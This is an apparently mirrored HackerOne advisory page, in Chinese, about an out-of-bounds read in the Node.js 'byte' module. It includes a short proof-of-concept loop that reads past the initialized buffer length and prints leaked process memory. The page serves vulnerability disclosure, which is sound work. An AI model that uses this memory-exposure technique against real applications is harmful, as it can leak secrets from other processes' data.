POJIA破甲
地图 / `byte` allocates uninitialized buffers and reads data from them past the initialized length

`byte` allocates uninitialized buffers and reads data from them past the initialized length

内存破坏 / 越界读 / #330351

厂商
Node.js third-party modules
严重程度
低危 · CVSS 5.2
赏金
—
弱点
越界读
研究员
@chalker
披露日期
2018-05-11
资产
byte
CVE
—

该报告还没有中文解读。

原文摘录

摘自原文(2152 字符中的一小部分)
I would like to report a memory exposure vulnerbaility in `byte` It allows to extract process memory using Buffers in some cases.
原文中的代码
var ByteBuffer = require('byte');
for (let k = 0; k < 1e4; k++) {
  var bb = new ByteBuffer();
  for (let i = 0; i < 180; i++) {
    bb.putString('ok');
  }
  const s = bb.getString(1000);
  if (s.includes(' {')) {
    console.log(s);
    console.log('Finished at attempt: ' + k);
    break;
  }
}

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Node.js third-party modules 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @chalker · 版权归作者与 Node.js third-party modules 所有

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